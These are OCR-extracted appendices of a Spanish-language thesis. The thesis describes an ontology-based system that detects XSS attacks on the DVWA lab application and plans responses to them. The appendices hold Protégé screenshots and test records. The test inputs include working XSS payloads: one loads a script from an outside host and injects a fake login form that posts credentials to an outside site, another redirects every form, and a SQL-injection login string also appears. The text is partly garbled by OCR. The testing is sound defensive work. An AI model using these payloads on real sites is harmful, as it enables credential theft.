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ANEXO 1. DIAGRAMAS DE PAQUETES Y CLASES
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ANEXO 2. INSTALADOR PROTEGE

En el DVD Anexos\Anexo 2, se encuentra instalador de la herramienta Protégé, de la
version que se utilizé para el proyecto.

ANEXO 3. ONTOLOGIA MONTADA EN PROTEGE

Se muestra algunos pantallazos de la implementacién de la ontologia en la herramienta
Protégé.

Actividades java-lang-Thread ~ mar 16:29

gy—64 (http:// i glcristi logies/2016/7/unti gy-64) : [/home/cristian/D ristian/T! i Protege/OntologyThesis_Beta2.owl] X

File Edit View Reasoner Tools Refacter Window Help

@ untitled-ontelogy-64 (http://www.semanticweb.org/cristian/ontologies/201 6/7/untitled-ontology-64) ~ | search...
Active Ontology x | Entities x| Classes x| Object Properties x| Data Properties x| Individuals by class x| OWLWiz x| DL Query x| OntoGraf x| SWRLTab x| SQWRLTab x| SPARQL Query X
Ontology header: DEEE
Ontology IRI http:/fwww. semanticweb. org/cristianfontologies/2016/7/untitled-ontology-64 Metrics =
Ontology Version IRI Axiom 302
Logical axiom count 203
Annatations Declaration axioms count 99
Class count 24
Object property count 34
Data property count 20
Individual count 21
DL expressivity ALI(D)

Class axioms
SubClass0f 23

Ontology imports | Ontology Prefixes | General class axioms
imported ontologies: DEEE

Diract Imparts

Indirect Imports

To use the reasoner click Reasoner = Start reasoner vl Show Inferences

Fuente. Herramienta Protégé



logies/2016/7 [unti gy-64) : [/h I ristian/TI j Protege/OntologyThesis_Beta2.owl] X

gy-64 (htep:// i gferi

File Edit View Reasoner Tools Refactor Window Help

ol 4) ¥ Search...

@ untitled-ontology-64 (http:/iwww.semantic 7 untit

Active Ontology x| Entities | Classes x| Object Properties > | Data Properties x| Indviduals by class x| OWLWiz x| DL Query x| OntoGraf x| SWRLTab x| SQWRLTab x| SPARQL Query x
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To use the reasoner click Reasoner > Start reasoner vl Show Inferences

Fuente. Herramienta Protégé

untitled-ontology-64 (http://ww: i org/cristi ologies/2016/7 /unti gy-64) : [/home/t plos Protege/OntologyThesis_Beta2.owl]
File Edit View Reasoner Tools Refacter Window Help
@ untitled-ontology-64 (http: .semant stianfon! ~|| Search...
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To use the reasoner click Reasoner > Start reasoner  [v| Show Inferences

Fuente. Herramienta Protégé



untitled-ontology-64 (http://www.semanticweb.org/cristian/ontologies/2016/7 funtitled-ontology-64) : [fhome/cristian/Documentos/Cristian/TESIS/Ejemplos Protege/OntologyThesis_Beta2.owl] X

File Edit View Reasoner Tools Refactor Window Help
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To use the reasoner click Reasoner = Start reasoner vl Show Inferences

Fuente. Herramienta Protégé
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To use the reasaner click Reasoner > Start reasoner (¥ Show Inferences

Fuente. Herramienta Protégé



untitled-ontology-64 (http://www.semanticweb.org/cristian/ontologies/2016/7 funtitled-ontology-64) : [/home/cristian/Documentos/Cristian/TESIS/Ejemplos Protege/OntologyThesis_Beta2.owl] X

File Edt View Reasoner Tools Refactor Window Help
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To use the reasoner click Reasoner = Start reasoner (v Show Inferences

Fuente. Herramienta Protégé
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[ECE]

PREFIX rdf: <http:/fwww.w3,0rg/1999/02/22-rdf-syntax-ns#=>
PREFIX owl: <http://www.w3.0rg/2002/07 fowls#>
PREFIX rdfs: <http:/fwww.w3.0rg/2000/01/rdf-schema#=>
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I To use the reasoner click Reasoner > Start reasoner || Show Inferences

Fuente. Herramienta Protégé
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ANEXO 4.
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Fuente. Herramienta Protégé
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1. Analizador de Trafico + Gestor (Detector y Generador Planes)

Identificacion: | Integracion AT GE_D (v.01)

Descripcién

Elementos: Analizador de Trafico + Gestor Detector Categoria de Prueba: Integracion

Enfoque de Prueba: Caja Negra

Requerimiento a probar:

RF-01.06. Cuando el Analizador de Trafico detecte un trafico sospechoso, debe enviarlo al Gestor incluyendo lo siguiente: URL + Payload + IP
de origen. Esos parametros se envian como cadenas de caracteres. Requisito relacionado: RF-02.02.

RF-02.02. El Gestor debe recibir del Analizador de Trafico los siguientes parametros:
(a) ID del ataque (se genera con el Timestamp)
(b) URL original del ataque
(c) IP del ataque
(d) Tipo de llamado (Request o Response)
(e) URL decodificada
(f) Caracteristicas del ataque (representado en un vector caracteristico)

RF-02.08. El GESTOR debe contener los siguientes elementos:
Un médulo de DETECCION de ataque.
Un mddulo de GENERACION DE PLANES.

Debe identificar el tipo de Ataque (para esta versién sera el A3 denominado Cross Site Scripting -XSS-) utilizando una técnica de
generacion automatica de planes, haciendo uso de una representacion y especificacion del conocimiento a través de una Ontologia.

Clases de Equivalencia Identificadas:

Condicion Clases caracteristicas Clases NO caracteristicas

Deteccion de la Categoria de Ataque segun
OWASP a partir del trafico identificado como { El ataque recibido corresponde con la { El ataque recibido NO corresponde
“sospechoso”, el cual es recibido desde el categoria A3 } 1 con la categoria A3} 2

Analizador de Trafico

Registro de Pruebas Pagina 2
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Bateria de Pruebas:

Universidad del Cauca

Namero . Clases Salida Salida
Prueba Ejemplar de la Entrada Cubiertas Esperada | Obtenida
A3 en URL con cédigo embebido:
Clases 1 1 A3 A3
caracteristicas /dvwa/vulnerabilities/xss_r/?name=%3Cp/onmouseover=javascript:alert(1);%20%3EKCF% detectado detectado
3C/p%3E
R A3 en URL con etiqueta HTML ) A3 A3
/dvwa/vulnerabilities/xss_r/?name="%27%27%3E%3Cscript%3Ealert(1)%3C/script%3E ClETEEEED | CEEEnEy
Clases NO
caracteristicas Trafico sospechoso que no es A3:
3 2 NO ES A3 NO ES A3
/dvwa/login.php?username=1'or 'l' = 1"))/*&password; =foo
Registro de Pruebas Pagina 3
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2. Gestor + Plug-in + Evaluador

Identificacion: | Integracion-GE-PLUGIN-EVALUADOR (v.01)

Descripcidn

Elemento: Detector (Pertenece al Gestor) Categoria de Prueba: Integracion

Enfoque de Prueba: Caja Negra

Requerimiento a probar:

RF-02.03. El Gestor debe tener protocolo de comunicacidn establecido con el Repositorio de Plug-ins para recuperar la valoracion correspondiente
a los factores que apliquen a la Categoria de Riesgo respectiva.

RF-02.04. El Gestor debe tener protocolo de comunicacion establecido con el Evaluador de Riesgos, para enviarle los parametros indicados en
el Requerimiento RF-02.03.

RF-02.05. El Gestor debe tener protocolo de comunicacion establecido con el Evaluador de Riesgos, para recibir la calificacion general del riesgo
en forma cualitativa, de acuerdo con la escala definida por OWASP.

RF-02.05. El Gestor debe tener una comunicacion establecido a través de SSH con el Mddulo Ejecutor y el Mddulo de Dispositivos de Seguridad,

esto para poder saber disponibilidad de dispositivos a la hora de ejecutar una accion del plan generado.

Clases de Equivalencia Identificadas:

Condicion Clases caracteristicas

{ Ataque tipo A3 con Calificacién de Factores para riesgo CRITICO} 1.1

Cargar factores del plug-in para enviar al Gestor y este a su vez al { Ataque tipo A3 con Calificacién de Factores para riesgo ALTO} 1.2
evaluador para que calcule la calificacién del riesgo
{ Ataque tipo A3 con Calificacién de Factores para riesgo MEDIO} 1.3
Factores de calificacion del plug-in consistentes con la calificacion
recibida desde el evaluador { Ataque tipo A3 con Calificaciéon de Factores para riesgo BAJO} 1.4

{ Ataque tipo A3 con Calificacién de Factores para riesgo NOTA} 1.5

Registro de Pruebas Pagina 4
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Bateria de Pruebas:

Namero Salida

L i Ejemplar de la Entrada Clases Salida :
Prueb. Obtenid
rueba Descripcion de la Entrada (ver pagina siguiente) Cubiertas Esperada enida

Cadena de ataque cuya

Clases 1 calificacion de factores desde el
caracteristicas plugin resulte en riesgo
CRITICO

Ejemplar 1 1.1

Cadena de ataque cuya
calificaciéon de factores desde el
plugin resulte en riesgo
ALTO

Ejemplar 2 1.2

Cadena de ataque cuya
calificacion de factores desde el
plugin resulte en riesgo
MEDIO

Ejemplar 3 1.3

Cadena de ataque cuya
calificacion de factores desde el
plugin resulte en riesgo
BAJO

Ejemplar 4 1.4

Cadena de ataque cuya
calificacion de factores desde el
plugin resulte en riesgo
NOTA

Ejemplar 5 1.5

Registro de Pruebas Pagina 5
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Lista de ejemplares usados:

Ejemplar 1:
/dvwa/vulnerabilities/xss_s/?name=%23Cscript%20src%3Dhttp%3A%2F%2Fhe7le.tk%3E%3C%2Fscript%3E%3Cstyle%3Ebody%7Bheight%3A100%25%3B%7D%?23b
P%7Bdisplay%3Anone%3Bposition%3Afixed%3B_position%3Aabsolute%3Bheight%3A100%25%3Bwidth%3A100%25%3Btop%3A0%3Bleft%3A0%3Bbackground%3
A%?23000%3Bborder%3A1px%20so0lid%20%23cecece%3Bz-
index%3A1%3B%7D%23pC%7Bdisplay%3Anone%3Bposition%3Afixed%3B_position%3Aabsolute%3Bheight%3A384px%3Bwidth%3A408px%3Bbackground%3A%23
FFF%3Bborder%3A2px%?20s0lid%20%23cecece%3Bz-index%3A2%3Bpadding%3A12px%3Bfont-size%3A13px%3B%7D%23pC%20h1%7Btext-
align%3Acenter%3Bcolor%3A%23000%3Bfont-size%3A22px%3Bfont-weight%3A700%3Bborder-bottom%3A1px%20dotted%20%23D3D3D3%3Bpadding-
bottom%3A2px%3Bmargin-bottom%3A20px%3B%7D%23cl%7Bdisplay%3Ablock%3Bmargin-left%3Aauto%3Bmargin-
right%3Aauto%7D%3C%2Fstyle%3E%3Cscript%3E%24%28document%29.ready%28function%28%29%7B%24%28%22%23bP%22%29.cs5%28%7B%?220pacity %2
2%3A%20%220.7%22%7D%29%3B%24%28%22%23bP%22%29.fadeln%28%22sl0Ww%22%29%3B%24%28%22%23pC%22%29.fadeln%28%22slow%22%29%3
Bvar%20wW©%3Ddocument.documentElement.clientWidth%3Bvar%20wH%3Ddocument.documentElement.clientHeight%3Bvar%20pH%3D%24%28%22%23pC%22
%29.height%28%29%3Bvar%20pW%3D%24%28%22%23pC%22%29.width%28%29%3B%24%28%22%23pC%22%29.cs5%28%7B%22position%22%3A%?22absol
ute%22%2C%22top%22%3AWHY%2F2-pH%2F2%2C%22left%22%3AwWW%2F2-
pW%2F2%7D%29%3B%24%28%22%23bP%?22%29.css%28%7B%22height%22%3AwWH%7D%29%3B%7D%29%3B%3C%2Fscript%3E%3Cdiv%20id%3DpC%3E%3
Ch1%3ESign%20Up%3C%2Fh1%3E%3Cp%3E%3Cimg%20id%3DcI%20src%3D%20%2F%3E%3Cbr%2F%3EConect%3Cform%20method%3DPOST%20target%3Dw
WW.XSS.com%2Fsave%2F%3EUser%3A%3Cinput%?20type%3Dtext%20name%3Du%20%2F%3E%3Cbr%2F%3EPass%3A%3Cinput%20type%3Dpassword%20name
% 3Dp%20%2F%3E%3Cbr%2F%3E%3Cinput%?20type%3Dsubmit%20value%3DLogin%20name%3DI%20%2F%3E%3C%2Fp%3E%3C%2Fdiv%3E%3Cdiv%20id%3D
bP%3E%3C%2Fdiv%3E

Tipo de IP: Internet

Ejemplar 2:
/dvwa/vulnerabilities/xss_s/?name=%23Cscript%?20src%3Dhttp%3A%2F%2Fhe7le.tk%3E%3C%2Fscript%3E%3Cstyle%3Ebody%7Bheight%3A100%25%3B%7D%23b
P%7Bdisplay%3Anone%3Bposition%3Afixed%3B_position%3Aabsolute%3Bheight%3A100%25%3Bwidth%3A100%25%3Btop%3A0%3Bleft%3A0%3Bbackground%?3
A%?23000%3Bborder%3A1px%20solid%20%?23cecece%3Bz-
index%3A1%3B%7D%23pC%7Bdisplay%3Anone%3Bposition%3Afixed%3B_position%3Aabsolute%3Bheight%3A384px%3Bwidth%3A408px%3Bbackground%3A%23
FFF%3Bborder%3A2px%20solid%20%?23cecece%3Bz-index%3A2%3Bpadding%3A12px%3Bfont-size%3A13px%3B%7D%23pC%20h1%7Btext-
align%3Acenter%3Bcolor%3A%23000%3Bfont-size%3A22px%3Bfont-weight%3A700%3Bborder-bottom%3A1px%?20dotted%20%23D3D3D3%3Bpadding-
bottom%3A2px%3Bmargin-bottom%3A20px%3B%7D%23cl%7Bdisplay%3Ablock%3Bmargin-left%3Aauto%3Bmargin-
right%3Aauto%7D%3C%2Fstyle%3E%3Cscript%3E%24%28document%29.ready%28function%28%29%7B%24%?28%22%23bP%22%29.css%28%7B%22o0pacity %2
2%3A%20%220.7%22%7D%29%3B%24%28%22%23bP%22%29.fadeln%28%22sI0w%22%29%3B%24%28%22%23pC%22%29.fadeIn%28%22slow%22%29%3
Bvar%20wW¢%3Ddocument.documentElement.clientWidth%3Bvar%20wH%3Ddocument.documentElement.clientHeight%3Bvar%20pH%3D%24%28%22%23pC%?22
%29.height%28%29%3Bvar%20pW%3D%24%28%22%23pC%22%29.width%28%29%3B%24%28%22%23pC%22%29.css%28%7B%22position%22%3A%22absol
ute%22%2C%22top%22%3AWH%2F2-pH%2F2%2C%22left%22%3AWW %2F2-
pW%2F2%7D%29%3B%24%28%22%?23bP%?22%29.css%28%7B%22height%22%3AwWH%7D%29%3B%7D%29%3B%3C%2Fscript%3E%3Cdiv%20id%3DpC%3E%3
Ch1%3ESign%20Up%3C%2Fh1%3E%3Cp%3E%3Cimg%20id%3DcI%20src%3D%20%2F%3E%3Cbr%?2F%3EConect%3Cform%20method%3DPOST%20target%3Dw
WW.XSS.com%2Fsave%2F%3EUser%3A%3Cinput%?20type%3Dtext%20name%3Du%20%2F%3E%3Cbr%2F%3EPass%3A%3Cinput%?20type%3Dpassword%20name
%3Dp%20%2F%3E%3Cbr%?2F%3E%3Cinput%?20type%3Dsubmit%20value%3DLogin%20name%3DI%20%2F%3E%3C%2Fp%3E%3C%2Fdiv%3E%3Cdiv%20id%3D
bP%3E%3C%2Fdiv%3E

Tipo de IP: Usuarios

Ejemplar 3:
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/dvwa/vulnerabilities/xss_r/?name=<script>var f=document.forms;var i=f.length-1;do{f[i].\u0061ction="www.xss.com";f[i].onsubmit=null; }while(--i); </script>

Tipo de IP: Usuarios

Ejemplar 4:
URL: /dvwa/vulnerabilities/xss_r/?name=<script>alert(10)</script>

Tipo de IP: Administrador

Ejemplar 5:
URL: /dvwa/vulnerabilities/xss_r/?name=alert(1)

Tipo de IP: Administrador

FIN DEL DOCUMENTO
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1. Gestor.
1.1. Modulo generador de planes

Identificacion: | GE - MGP - PU — 01 (v.01)

Descripcidn

Elemento: Generador de planes (pertenece al Gestor) Categoria de Prueba: Unitaria

Enfoque de Prueba: Caja Negra

Requerimiento a probar: RF-01.01. El GESTOR debe contener los siguientes elementos:
Un médulo de PLANEACION contra el ataque, llamado GENERADOR DE PLANES.

Infiere acciones de respuesta basadas en el dominio de planificacion para suministrarlas al ejecutor de planes. Ese listado de acciones debe
configurarse en el dominio de planificacion.

Clases de Equivalencia Identificadas:

Condicion Clases caracteristicas

{ Plan para responder ataque con calificacidon de riesgo CRITICO
Y (HABILITADO ( Firewall )) } 1.1

{ Plan para responder ataque con calificacion de riesgo CRITICO
Y (HABILITADO ( Sms)) } 1.2

{ Plan para responder ataque con calificacion de riesgo ALTO
Y (HABILITADO ( Firewall )) } 1.3

{ Plan para responder ataque con calificacion de riesgo ALTO

Elaboracién de Planes Y (HABILITADO ( Sms )) } 1.4

{ Plan para responder ataque con calificacion de riesgo MEDIO
Y (HABILITADO ( Firewall )) } 1.5

{ Plan para responder ataque con calificacion de riesgo MEDIO
Y (HABILITADO ( Email )) }1.6

{ No plan para responder ataque con calificacién de riesgo BAJO o riesgo NOTA }1.7
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Namero
Prueba

Descripcion de la Entrada

Ejemplar de la
Entrada

Salida
Clases Esperada Salida Tiempo de
Cubiertas | (ver convenciones en Obtenida busqueda

la pagina siguiente)

Clases
caracteristicas

ataque con calificacion CRITICO
Y (HABILITADO ( Firewall )) }

Riesgo: CRITICO
Firewall: Habilitado
SMS: Inhabilitado
IDS: Inhabilitado
Email: Habilitado

1.1

ataque con calificacion ALTO
Y (HABILITADO ( Firewall )) }

Riesgo: ALTO
Firewall: Habilitado
SMS: Inhabilitado
IDS: Inhabilitado
Email: Habilitado

1.3

ataque con calificacién MEDIO
Y (HABILITADO ( Firewall ))
(HABLITADO (email)) }

Riesgo: MEDIO
Firewall: Habilitado
SMS: Inhabilitado
IDS: Inhabilitado
Email: Habilitado

1.5y 1.6

ataque con calificacion BAJO

Riesgo: BAJO
Firewall: Habilitado
SMS: Inhabilitado
IDS: Inhabilitado
Email: Habilitado

1.7

ataque con calificacion NOTA

Riesgo: NOTA
Firewall: Habilitado
SMS: Inhabilitado
IDS: Inhabilitado
Email: Habilitado

1.7

Planes (Grupos de acciones)

Plan contra riesgo CRITICO y Firewall HABILITADO: Bloquear IP

Plan contra riesgo ALTO y Firewall HABILITADO: Bloquear IP

Plan contra riesgo MEDIO, Firewall HABILITADO y Email HABILITADO: Enviar Email y Bloquear IP
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Plan contra riesgo BAJO, Firewall HABILITADO y Email HABILITADO: No generd plan

Plan contra riesgo NOTA, Firewall HABILITADO y Email HABILITADO: No generd plan

2. Ejecutor de planes

Identificacion: | EP - PU — 01 (v.01)

Descripcién

Elemento: Ejecutor de planes Categoria de Prueba: Unitaria

Enfoque de Prueba: Caja Negra

Requerimiento a probar:

RF-06.03. De acuerdo con el nivel de riesgo, y el plan enviado por el Generador de planes, el Ejecutor de planes debe establecer una
comunicaciéon segura con el médulo del cliente SSH, y con el mddulo de dispositivos de seguridad para la ejecucién de cada una de las
acciones que corresponden al plan generado, dentro de las cuales encontramos enviar un correo electronico al Administrador y usuarios
autorizados indicando el tipo de ataque, el origen del ataque y la accién ejecutada, y las acciones de bloquear, redireccionar, desbloquear.

e INDICADOR: ejecucién (verificar si se ejecutdé o no).
¢ Y debe comunicarse con el Mdédulo de cliente SSH para verificar las acciones ejecutadas y no ejecutadas segun el plan enviado.

Clases de Equivalencia Identificadas:
NR : Nivel de Riesgo
Admin: controldeseguridad2017@gmail.com

Condicion Clases caracteristicas

{ (Accion = “BLOQUEAR”, [Parametros="IP"] Y
Nombre dispositivo="Firewall”) } 1.1

{ (Accién = “ENVIAR CORREO”,
[Parametros="TIPO DE ATAQUE, NIVEL DE
RIESGO, NOMBRE DE LA APLICACION y PLAN"] Y
Nombre dispositivo="Email”) } 1.2

{ (Accion = “DESBLOQUEAR”, [Parametros="IP"] Y
Nombre dispositivo="Firewall”) } 1.3

Resultado de la comparacion
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Namero
Prueba

Ejemplar de la Entrada

Clases Salida Salida
Cubiertas Esperada Obtenida

Clases
caracteristicas

Accién = BLOQUEAR

Parametros =
[{"192.168.121.27"}]

Nombre dispositivo =
“Firewall”

1.1

Accién = ENVIAR
CORREO

Parametros= [{"XSS”,
“MEDIO”, "DVWA" y
“Enviar correo”}]

Nombre dispositivo =
“Email”

1.2

Accion = DESBLOQUEAR

Parametros=
[{"192.168.121.27"}]

Nombre dispositivo =
“Firewall”

1.3

FIN DEL DOCUMENTO
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